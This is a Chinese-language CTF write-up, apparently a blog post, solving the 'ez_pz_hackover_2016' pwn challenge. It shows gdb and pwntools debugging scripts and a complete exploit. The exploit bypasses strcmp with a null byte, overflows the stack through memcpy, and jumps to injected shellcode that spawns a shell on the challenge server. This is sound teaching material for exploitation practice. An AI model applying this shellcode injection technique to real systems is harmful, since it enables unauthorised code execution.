• 【pwn】ez_pz_hackover_2016 --pwngdb和pwntools的结合,动态调试


    首先checksec

    没开nx,说明堆栈可执行,初步考虑需要shellcode,然后拖进ida看主函数逻辑

    看chall函数

      printf("Yippie, lets crash: %p\n", s)这里泄露的s的地址,即栈上的地址

    这里的输入的s数组是不存在栈溢出的,这里的关键代码是这一段

     result = (void *)strcmp(s, "crashme");
      if ( !result )
        return vuln((char)s, 0x400u);
      return result;
    }

    strcmp(s, "crashme")说明字符串只能是crashme,不然放回值不会是0,也就进不去下面那个if语句,但是strcmp只会比较到\x00结束,说明可以输入crashme\x00绕过判断,其实看到这里都还没发现可以getshell的漏洞,然后再点进去vuln函数看看

    memcpy是内存拷贝函数:memcpy函数是C/C++语言中常用的内存拷贝函数,用于将一块内存中的数据复制到另一块内存中。其原型通常如下所示:
    c复制代码
    void *memcpy(void *dest, const void *src, size_t n);
    其中:
    dest 是目标内存区域的指针,即要将数据复制到的位置。
    src 是源内存区域的指针,即要从哪里复制数据。
    n 是要复制的字节数。
    该函数的作用是将src指向的内存区域中的前n个字节的数据复制到dest指向的内存区域中。由于该函数返回void*类型,通常在使用时需要将其转换为目标类型的指针。

    简而言之,就是将我们刚才输入的s数组的数据再拷贝到dest数组里面去,拷贝的字节数在第三个参数里面。

    再来看dest数组的栈分布

    看这个-0x32,存在栈溢出,欧克,开始疯狂写脚本,最后发现打不通,好好好,ida耍了我一把,dest距离ebp的偏移根本不是这样的,爆!没办法,只能gdb动态调试,这边动态需要gdb和pwntools结合起来,下面是动态调试脚本

    from pwn import *
    p=process('./pwn')
    context.log_level='debug'

    gdb.attach(p,'b *0x8048600')#利用gdb动调,在0x8048600处下了个断点,这个地址是vuln函数里面的

    p.recvuntil('crash: ')
    stack=int(p.recv(10),16)#接收回显的参数s在栈上的地址,长度是10,以16进制表示
    print(hex(stack))

    payload='crashme\x00'+'aaaaaa'#前面的crashme\x00绕过if判断
          #后面的aaaa是测试数据,随便输入的,我们等等去栈上找它的地址
          #利用它找到返回地址在栈上的地址,将返回地址覆盖为shellcode
    p.sendline(payload)

    pause()#linxu下的暂停程序命令

    ubuntu运行该脚本,弹出gdb界面时,输入c,gdb就会运行至断点处

    按了c之后,程序断在了nop指令这里

    输入stack 50,查看栈上数据,此时注意右边那张图泄露的s地址(栈地址)0xffbc0f2c

    我们输入的数据经过拷贝函数,最终在绿色箭头处(注意此时是在vuln函数里面查看栈),可以发现我们数据是从0xffbc0ef2开始的72是r,63是c,距离ebp0xffbc0f08的偏移是0x16,根本和ida的不一样。

    确认了正确偏移后,就可以写脚本了

    exp:

    from pwn import *
    context(os='linux',arch='i386',log_level='debug')      

    io=remote("node4.buuoj.cn",27582)
    shellcode=asm(shellcraft.sh())
    io.recvuntil(b"lets crash: 0x")
    addr=int(io.recv(8),16)                                    栈地址
    print(hex(addr))
    shellcode_addr=addr-0x1c                             这个减0x1c是为了确定shellcode的地址,shellcode地址即ebp-0x4-0x4的位置,上面动调的图片可以计算出偏移
    payload=b"crashme\x00"+b'a'*(0x16-0x8)
    payload+=b'a'*4                             
    payload+=p32(shellcode_addr)                     返回到shellcode的地址
    payload+=shellcode
    io.recvuntil(b"> ")
    io.sendline(payload)
    io.interactive()

     

     


    __EOF__

  • 本文作者: GGbomb
  • 本文链接: https://www.cnblogs.com/GGbomb/p/17816248.html
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • 相关阅读:
    【数据结构】模拟实现栈和队列
    这里有一份超实用Excel快捷键合集(常用+八大类汇总)
    gridControlExport.ExportToXls(fileName) dev gridcontrol导出excel列宽问题
    无涯教程-JavaScript - OCT2HEX函数
    TP、FN、FP、TN、准确率、召回率、F1
    一、Excel VBA 是个啥?
    A*算法和Dijkstra
    室内探索无人机,解决复杂环境下的任务挑战!
    AI+边缘计算,让城市治理难题“看得见”又“管得了”
    求对着目标物体环绕拍摄的相机参数lookAt
  • 原文地址:https://www.cnblogs.com/GGbomb/p/17816248.html